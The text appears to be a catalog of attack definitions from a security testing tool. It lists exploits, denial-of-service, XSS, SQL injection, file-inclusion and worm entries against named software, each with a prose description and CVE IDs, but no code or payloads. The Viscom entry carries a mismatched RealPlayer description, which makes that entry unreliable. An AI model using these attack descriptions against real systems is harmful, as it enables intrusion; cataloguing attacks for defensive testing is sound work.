Detailed Description:	This threat sends out a TCP SYN packet followed by another TCP packet that has its flags set to anything but the appropriate response. This will cause the target machine to crash. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2004-0551
OSVDB:	6829
Threat Package:	Standard
Threat File Name:	FSC20110314-13_Adobe_Flash_Player_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Flash Player Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player 10 and the authplay.dll file that ships with Adobe Reader and Acrobat X products. The vulnerability could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious Flash file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Excel (.xls) file delivered as an email attachment.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0609
Threat File Name:	divxplayer_dos.xml
Executive Description:	DivX Web Player NPDIVX32.DLL ActiveX Control Remote Denial of Service Vulnerability

Detailed Description:	This threat uses a malicious web server to cause a denial of service in Internet Explorer 7 by invoking the GoWindowed method for the DivXBrowserPlugin ActiveX object (npdivx32.dll). Internet Explorer is web browser that typically connects to web servers via port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0429
Threat Package:	Standard
Threat File Name:	FSC20060629-09_Apple_iTunes_AAC_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	Apple iTunes AAC File Handling Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Apple iTunes. The vulnerability is caused due to improper handling the sample table size atom (STSZ) when processing AAC media files. An attacker may exploit the vulnerability by delivering a crafted AAC media file to a target user and enticing the user to open it, resulting in execution of arbitrary code on the target host within the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1467
Threat Package:	Standard
Threat File Name:	fuzz-IP_destIP.xml
Executive Description:	Fuzzer for Protocol:IP and Field:destIP
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	tftpd_rfs.xml
Executive Description:	Tftpd32 SEND / GET Remote Format String Vulnerability
Detailed Description:	This threat exploits a remote format string vulnerability in Tftpd32 that can be triggered when the server uses the filename passed in TFTP requests to construct an error message. With a specially crafted filename, an attacker can cause arbitrary code execution, resulting in a loss of integrity. TFTPd is a internet application that usually listens on udp port 69
Protocol Type:	TFTP
CVEID:	CVE-2006-0328
OSVDB:	22661
Threat Package:	Standard
Threat File Name:	TSL20111103-04_Microsoft_Excel_Substream_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel Substream Parsing Integer Overflow(IPV6 VERSION)
Detailed Description:	An integer overflow vulnerability has been discovered in Microsoft Excel. The vulnerability is due to a failure in the code processing 0xA7 and 0x3C-type records in 0x400-type substreams of BIFF files. The program fails to verify a user-supplied value before copying data into a stack buffer. An attacker can exploit this vulnerability by enticing a user to open a specially crafted Excel file. Successful exploitation would allow execution of arbitrary code on the target user's system with the privileges of the user running the vulnerable application. If the attack fails, the affected application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP
CVEID:	CVE-2011-3157
Threat File Name:	citadel_ux.xml
Executive Description:	Citadel/UX Remote Exploit
Detailed Description:	This threat takes advantage of a buffer overflow in the Citadel/UX BBS system.
Protocol Type:	HTTP
CVEID:	CVE-2004-1705
OSVDB:	8280
Threat Package:	Standard
Threat File Name:	TSL20130523-11_Apple_Quicktime_MJPEG_Frame_std_Atom_Heap_Overflow.xml
Executive Description:	Apple Quicktime MJPEG Frame std Atom Heap Overflow
Detailed Description:	A heap overflow vulnerability exists in Apple Quicktime. The vulnerability is due to improper processing of mjpeg movies with an improper jpeg frame size in the std atom. This vulnerability can be exploited by a remote attacker by enticing the target user to open a specially crafted file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	SMB/CIFS, HTTP, HTTPS, NFS, IMAP, POP3, SMTP
CVEID:	CVE-2013-1020
OSVDB:	93621
Threat File Name:	FSC20060522-01_Novell_eDirectory_iMonitor_NDS_Server_Buffer_Overflow.xml
Executive Description:	Novell eDirectory iMonitor NDS Server Buffer Overflow
Detailed Description:	There exists a stack based buffer overflow vulnerability in Novell eDirectory iMonitor NDS service. The vulnerability is caused due to a failure of the application checking the boundaries of user supplied data in an incoming HTTP requests. An unauthenticated remote attacker may exploit the vulnerability to cause a denial of service condition or inject and execute arbitrary code in the security context of the NDS service, normally System.
Protocol Type:	HTTP
CVEID:	CVE-2006-2496
Threat Package:	Standard
Threat File Name:	TSL20150623-04_Adobe_Flash_Player_Nellymoser_DataSize_Heap_Buffer_Overflow.xml
Executive Description:	Adobe Flash Player Nellymoser DataSize Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an issue with the processing of Nellymoser audio tag data. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2015-3113
Threat File Name:	perlpodder_cmi_IPv6.xml
Executive Description:	PerlPodder Arbitrary Shell Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a failure in PerlPodder to properly sanitize user-supplied input allowing arbitrary command-execution vulnerability. (IPv6 Version)

Protocol Type:	HTTP/IPv6
OSVDB:	20238
Threat Package:	Standard
Threat File Name:	TotalCalendar_cmi.xml
Executive Description:	TotalCalendar 2.30 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query which allows an arbitrary file inclusion via the inc_dir variable. TotalCalendar is a web application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1922
Threat File Name:	FSC20080204-06_Yahoo_Music_Jukebox_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Yahoo! Music Jukebox ActiveX Control Buffer Overflow
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Yahoo! Music Jukebox. These vulnerabilities are caused due to boundary errors within the Yahoo! Music Jukebox ActiveX Control. A remote attack can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160614-31_Microsoft_Windows_PDF_Library_JPEG2000_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows PDF Library JPEG2000 Information Disclosure (IPv6 version)
Detailed Description:	An information disclosure vulnerability has been reported in the JPEG2000 component of the PDF library in Microsoft Windows. The vulnerability is due to improper validation of the COD marker of a JPEG2000 file. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3215
Threat File Name:	dlink_crash.xml
Executive Description:	Multiple D-Link Products IP Fragment Reassembly Denial of Service Vulnerability
Detailed Description:	This threat sends a fragmented UDP packet which exercises a flaw in the D-Link fragment reassembly routine.
Protocol Type:	UDP
CVEID:	CVE-2005-4723
OSVDB:	23128
Threat File Name:	googleearthKML.xml
Executive Description:	Google Earth Memory Corruption
Detailed Description:	This attack sends a malicious google earth KML file from a webserver. This causes memory corruption and could lead to code execution. The google earth application loads custom made XML files with a .kml extension. This attack would typically come a malicious web server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TCPstateFlood_IPv6.xml
Executive Description:	TCP State Flood (IPv6 Version)
Detailed Description:	This attack sends a TCP SYN packet to a targeted host followed by a TCP RST packet from the client spoofing the targeted host. The intention of this attack is to break stateful connections from real clients. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	firefoxUpload.xml
Executive Description:	Firefox File Stealing
Detailed Description:	This threat attempts to steal a file off of a client computer via a malicious webpage. This is an attack from the virtual server. Web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2782
Threat Package:	Standard
Threat File Name:	TSL20111123-08_Viscom_Software_Image_Viewer_ActiveX_TIFMergeMultiFiles_Buffer_Overflow_IPv6.xml
Executive Description:	Viscom Software Image Viewer ActiveX TIFMergeMultiFiles Buffer Overflow(IPV6 VERSION)
Detailed Description:	An integer underflow vulnerability exists in RealPlayer's handling of MPEG movies. The vulnerability is caused when the application subtracts one from a user controlled value that is then used as a loop iterator. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted MPEG file. Successful exploitation can lead to the injection and execution of arbitrary code in the context of the currently logged in user.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	ideocontent_xss.xml
Executive Description:	IdeoContent Manager news_full.php page Variable XSS
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. IdeoContent Manager is a web based interface that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0463
OSVDB:	22712
Threat File Name:	fuzz-TFTP_ErrorCode_RangingSizeOfMessage.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_RangingSizeOfMessage.xml
Detailed Description:	Fuzzes errorNullTerm field by putting random string. OpCode is 05
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	linkbank_IPv6.xml
Executive Description:	Link Bank iframe.php XSS (IPv6 Version)

Detailed Description:	This threat sends a specially crafted HTTP request that triggers a cross-site scripting condition in Link Bank. This can allow an attacker to steal session and cookie information. Link Bank is a web application and is accessed via a web server, which typically listens on TCP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130611-06_Microsoft_Office_PNG_File_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office PNG File Handling Buffer Overflow [IPv6, Version]
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to untrusted input while handling PNG files. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open or view a specially crafted office file containing a PNG. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-1331
OSVDB:	94127
Threat File Name:	TSL20110708-06_FreeType_PostScript_Type1_Font_Parsing_Code_Execution_IPv6.xml
Executive Description:	FreeType PostScript Type1 Font Parsing Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in the FreeType font engine. The vulnerability is due to improper validation of the argument count parameter passed to the PostScript operation calltothersubr, which can lead to a stack buffer overflow. A remote attacker can entice a target user to download a malicious PostScript or PDF file, and leverage this vulnerability to execute arbitrary code.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0226
Threat File Name:	photokorn_a_rfi_IPv6.xml
Executive Description:	Photokorn Cart.inc.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	endonesia_transveral.xml
Executive Description:	eNdonesia 8.4 (mod.php/friend.php/admin.php) Directory Transversal Vulnerability
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. eNdonesia is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100304-02_Opera_Browser_Content_Length_Buffer_Overflow.xml
Executive Description:	Opera Browser Content Length Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Opera Browser. The vulnerability is due to a boundary error in the way the browser processes HTTP server replies. Remote attackers could exploit this vulnerability by persuading a target user to connect to an attacker-controlled HTTP server with a vulnerable version of Opera. This vulnerability can be exploited by remote attackers to execute arbitrary code on the target machine. In attack scenarios where code execution is successful, the behaviour of the target machine would depend on the intention of the injected code, which would run within the security context of the logged in user.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-HEAD_PrependedHTTPWithformats.xml
Executive Description:	Fuzz HTTP HEAD with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	etherealSIP.xml
Executive Description:	Ethereal SIP Denial Of Service
Detailed Description:	This threat causes a stack overflow in the Ethereal packet dissector for the SIP protocol. This can be used by an attacker to either run remote code on a sniffing workstation, or cause a crash, preventing the network administrator from viewing other attacks in the same network stream.
Protocol Type:	SIP
CVEID:	CVE-2005-1461
OSVDB:	16099
Threat Package:	Standard
Threat File Name:	oracle_web_cache_dos2.xml
Executive Description:	Oracle Web Cache Denial of Service 2
Detailed Description:	This threat sends a malformed HTTP chunked request that causes certain versions of the Oracle Web Cache service to crash.
Protocol Type:	HTTP
CVEID:	CVE-2002-0386
OSVDB:	9464
Threat Package:	Standard
Threat File Name:	TSL20121108-01_Apple_QuickTime_TeXML_Style_Element_Text_Specification_Buffer_Overflow.xml
Executive Description:	Apple QuickTime TeXML Style Element Text Specification Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Apple QuickTime. The vulnerability is due to insufficient bounds checking while parsing style elements in QuickTime TeXML files. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted TeXML file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS

CVEID: [CVE-2012-3752](#)

Threat File Name:	trafficstats_sqli_IPv6.xml
Executive Description:	Traffic Stats SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Traffic Stats is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phplinkex_rfi_IPv6.xml
Executive Description:	PhpLinkExchange Input Validation Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpLinkExchange is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sami_ftp_bof.xml
Executive Description:	Sami FTP Server Buffer Overflow
Detailed Description:	This threat causes a classic pre-authentication buffer overflow in the Shareware Sami FTP Server software. Sami FTP Server typically listens on port 21.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	ipv6_SymantecFirewallDNSDOS2_IPv6.xml
Executive Description:	IPv6 Symantec Firewall DNS Response Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large DNS reply to an open UDP port - such as 137. The Symantec Firewall software will attempt to read the DNS packet, and overflow a buffer it has allocated to read. Can be used for remote execution of code. This is an IPv6 version of another attack. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard
Threat File Name:	in-link_rfi.xml
Executive Description:	In-Portal In-Link ADODB_DIR.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. In-Link is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	winamp_ID3.xml
Executive Description:	Winamp Remote Buffer Overflow
Detailed Description:	This threat is a malformed MP3 file, which causes a buffer overflow in certain versions of Winamp. This threat mimics the download of the malicious file from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2310
OSVDB:	17897
Threat Package:	Standard
Threat File Name:	TSL20140204-05_Adobe_Flash_Player_load_and_store_Write_What_Where.xml
Executive Description:	Adobe Flash Player load and store Write What Where
Detailed Description:	An code execution vulnerability exists in Adobe Flash player. It has been reported to be used by malware in the wild. A remote attacker could exploit this vulnerability by enticing a user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2014-0497
Threat File Name:	FSC20090105-11_Samba_Root_File_System_Access_Security_Bypass.xml
Executive Description:	Samba Root File System Access Security Bypass
Detailed Description:	A security bypass vulnerability exists in Samba. The vulnerability is due to a design weakness when registry based share definition is enabled. A remote attacker may leverage this vulnerability to gain read-only access to the local file system in the security context of the Samba service. In the case of a successful attack, a remote attacker may gain read-only access the root directory on the target system in the security context of the Samba service.
Protocol Type:	SMB
CVEID:	CVE-2009-0022
Threat Package:	Standard
Threat File Name:	articlescript_sqli_IPv6.xml
Executive Description:	Article Script v1.*and v1.6.3 Sql injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Article Script a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5765
Threat Package:	Standard
Threat File Name:	host_xss_IPv6.xml
Executive Description:	HTTP Host XSS (IPv6 Version)
Detailed Description:	This threat sends a Javascript alert through the Host: field of an HTTP packet. Some webservers will echo this input back out the web browser, creating the possibility of a cross-site scripting attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-2192
Threat Package:	Standard
Threat File Name:	cesarftp_bof.xml
Executive Description:	CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit

Detailed Description:	This threat sends a crafted FTP MKD command with an excessive length causing a stack overflow. CesarFTP is an FTP daemon which typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-2961
Threat Package:	Standard
Threat File Name:	santyb4_IPv6.xml
Executive Description:	Santy.B phpBB worm 4 (IPv6 Version)
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpmychat_xss_a.xml
Executive Description:	PHPMyChat start_page.css.php Cross-Site Scripting Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3991
OSVDB:	21544
Threat File Name:	FSC20100908-07_Apple_Safari_Webkit_Use-After-Free_Code_Execution.xml
Executive Description:	Apple Safari Webkit Use-After-Free Code Execution
Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when processing elements with run-in styling. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1806
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_FixedSizeOfData_RangingBlockNo.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_FixedSizeOfData_RangingBlockNo.xml
Detailed Description:	Fuzzes BlockNo field by ranging the block number. OpCode is 03
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20100820-07_SonicWALL_SSL_VPN_End_Point_Interrogator_Installer_ActiveX_Control_Code_Execution.xml
Executive Description:	SonicWALL SSL VPN End Point Interrogator Installer ActiveX Control Code Execution
Detailed Description:	There exists a code execution vulnerability in SonicWALL SSL-VPN End-Point Interrogator/Installer ActiveX controls. Specifically, the vulnerability is due to a format string error in the "epi.dll" library when creating a log message. This can be exploited by assigning a specially crafted string value to affected properties of the ActiveX control. Remote attackers could exploit this vulnerability by enticing target users to visit a crafted web page. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	TSL20160204-03_Schneider_Electric_ProClima_FlBookView_Attach_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView Attach Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. This vulnerability is due to mishandling of the Title parameter when the Attach() method of the FlBookView ActiveX control is called.A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a maliciously crafted web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2015-7918
Threat File Name:	nocc_cmi_a_IPv6.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, lang field (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	lupper28.xml
Executive Description:	Lupper Worm 28
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	webadmin_IPv6.xml
Executive Description:	WebAdmin Buffer Overflow Attempt (IPv6 Version)
Detailed Description:	This threat sends a POST request to the WebAdmin system, which allows an attacker to execute remote code on the server. WebAdmin typically listens on either port 80 or port 1000. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0471
OSVDB:	2653
Threat Package:	Standard

Threat File Name:	xine_rfs.xml
Executive Description:	Xine Filename Handling Remote Format String
Detailed Description:	This threat demonstrates a flaw in the handling of filenames in the Xine media player with a malicious playlist file.
Protocol Type:	HTTP
CVEID:	CVE-2006-2230 CVE-2006-2230 CVE-2006-2230
Threat Package:	Standard
Threat File Name:	FSC20040803-01_Microsoft_Internet_Explorer_Malformed_GIF_File_Double_Free.xml
Executive Description:	Microsoft Internet Explorer Malformed GIF File Double Free Vulnerability
Detailed Description:	A double free vulnerability exists in the way Microsoft Internet Explorer handles images of the GIF file format. This vulnerability can be exploited by enticing a user to view a web page or email message containing a specially crafted .gif file. Successful exploitation can lead to a client compromise and possible remote code execution.
Protocol Type:	HTTP
CVEID:	CVE-2003-1048
Threat Package:	Standard
Threat File Name:	savewebportal_rfi.xml
Executive Description:	SaveWeb Portal SITE_Path Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. SaveWeb Portal is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-4012
Threat Package:	Standard
Threat File Name:	FSC20080408-11_Microsoft_Internet_Explorer_Data_Stream_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Data Stream Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain non-html and html content in the data streams. combinations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1085
Threat Package:	Standard
Threat File Name:	FSC20060314-12_Microsoft_Office_Malformed_Routing_Slip_Code_Execution.xml
Executive Description:	Microsoft Office Malformed Routing Slip Code Execution
Detailed Description:	A vulnerability exists in Microsoft Office components when processing documents which include malformed Routing Slip records. This vulnerability may be exploited by supplying a malicious document to a vulnerable target host and enticing a user to open the file. An attacker may exploit this vulnerability to inject and execute arbitrary code into the vulnerable application process.
Protocol Type:	HTTP
CVEID:	CVE-2006-0009
Threat Package:	Standard
Threat File Name:	FSC20081014-14_Microsoft_Internet_Explorer_Uninitialized_Layout_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Layout Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of uninitialized HTML object which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3475
Threat Package:	Standard
Threat File Name:	TSL20131212-08_EMC_CMCNE_inmservlets_war_UnifiedFileUploadMoreInfoServlet_Directory_Traversal.xml
Executive Description:	EMC CMCNE inmservlets.war UnifiedFileUploadMoreInfoServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the UnifiedFileUploadMoreInfoServlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can copy any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
OSVDB:	101209
Threat File Name:	TSL20110902-05_Broadwin_WebAccess_Client_Bwocxrun_ActiveX_OcxSpool_Format_String.xml
Executive Description:	Broadwin WebAccess Client Bwocxrun ActiveX OcxSpool Format String
Detailed Description:	A format string vulnerability exists in an ActiveX component of Broadwin Technology's WebAccess client. The vulnerability is due to a lack of validation of the OcxSpool() method's argument. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	IIS_tilde0DOS_IPv6.xml
Executive Description:	IIS ~0 DoS (IPv6 Version)
Detailed Description:	This attack exposes a flaw in Microsoft IIS V5.1 where the process inetinfo.exe can be crashed by sending a series of malformed HTTP requests. This vulnerability is only present in directories of the IIS machine where the execute permissions are set to Scripts and Executables. IIS Versions 5.0 and 6.0 are not vulnerable. IIS is a webserver that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6

	CVEID:	CVE-2005-4360
	OSVDB:	21805
Threat File Name:	FSC20090416-05_Oracle_Database_Application_Express_Component_APEX_Password_Hash_Disclosure.xml	
Executive Description:	Oracle Database Application Express Component APEX Password Hash Disclosure	
Detailed Description:	An information disclosure vulnerability exists in the Application Express component. The vulnerability is due to an insecure design within the Application Express component in Oracle Database server products that allows remote authenticated attacker obtain access to password hashes via certain database views. A successful attack attempt will result in disclosure of sensitive information.	
Protocol Type:	HTTP	
	CVEID:	CVE-2009-0981
Threat Package:	Standard	
Threat File Name:	TSL20130709-33_Microsoft_Internet_Explorer_CVE-2013-3147_Memory_Corruption.xml	
Executive Description:	Microsoft Internet Explorer CVE-2013-3147 Memory Corruption	
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.	
Protocol Type:	HTTPS,HTTP	
	CVEID:	CVE-2013-3147
	OSVDB:	94971
Threat File Name:	phpecard_rfi.xml	
Executive Description:	phpECard Remote File Inclusion Vulnerability	
Detailed Description:	This threat sends a crafted url to a web server, taking advantage of a flaw PSlash application software, thus allowing for commands to be executed on the affected server. PhpECard is a web application that typically listens on port 80.	
Protocol Type:	HTTP	
Threat Package:	Standard	
Threat File Name:	travelsized_cms_rfi.xml	
Executive Description:	Travelsized CMS Frontpage.PHP Remote File Include Vulnerability	
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Travelsized CMS is a web application that typically listens on port 80.	
Protocol Type:	HTTP	
Threat Package:	Standard	
Threat File Name:	wmnews_rfi_IPv6.xml	
Executive Description:	WMNews admin.php File Include Vulnerability (IPv6 Version)	
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WMNews is a web application that typically listens on port 80. (IPv6 Version)	
Protocol Type:	HTTP/IPv6	
Threat Package:	Standard	
Threat File Name:	FSC20090210-12_Microsoft_Exchange_System_Attendant_Denial_of_Service.xml	
Executive Description:	Microsoft Exchange System Attendant Denial of Service	
Detailed Description:	A denial of service vulnerability exists in the Microsoft Exchange System Attendant. The vulnerability is a result of insufficient validation when processing crafted parameters supplied to the System Attendant service. Successful exploitation of this vulnerability can allow a remote unauthenticated attacker to terminate the affected service, causing a denial of service condition. Upon triggering this vulnerability, the System Attendant service on the target server will terminate abnormally. Users may experience interruption and temporary unavailability of all services hosted by the affected process such as: address list maintenance, enforcement of message retention policies, resource monitoring, and others. To restore functionality, the affected service needs to be manually restarted.	
Protocol Type:	UDP	
	CVEID:	CVE-2009-0099
Threat Package:	Standard	
Threat File Name:	FSC20081014-16_Microsoft_Active_Directory_LDAP_Search_Request_Buffer_Overflow.xml	
Executive Description:	Microsoft Active Directory LDAP Search Request Buffer Overflow	
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Active Directory on Windows 2000 Server platform. The vulnerability is specifically due to improper processing of LDAP Search requests. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted request to the affected server and could possibly execute arbitrary code with System privileges, or cause denial of service condition due to memory corruption.	
Protocol Type:	LDAP	
	CVEID:	CVE-2008-4023
Threat Package:	Standard	
Threat File Name:	oscommerce_afi_IPv6.xml	
Executive Description:	OSCommerce Arbitrary File Disclosure Vulnerability (IPv6 Version)	
Detailed Description:	This threat exploits a flaw in the OSCommerce installation by using the included "extras" directory and included "update.php" script to specify an arbitrary "read me" file. OSCommerce is a web application which typically listens on port 80. (IPv6 Version)	
Protocol Type:	HTTP/IPv6	
Threat Package:	Standard	
Threat File Name:	FSC20080311-12_Microsoft_Office_Outlook_mailto_URI_Handling_Code_Execution.xml	
Executive Description:	Microsoft Office Outlook mailto URI Handling Code Execution	
Detailed Description:	A vulnerability exists in the way Microsoft Office Outlook handles mailto URIs. Specifically, the vulnerability is a result of lack of proper URI filtering. When exploited successfully, the vulnerability can lead to arbitrary command execution in the security context of the currently logged in user. An attack targeting this vulnerability can result in the injection of command line options when launching Microsoft Outlook. This may allow the attacker to control the user's email account.	
Protocol Type:	HTTP/HTTPS/POP3/IMAP/SMTP	
	CVEID:	CVE-2008-0110
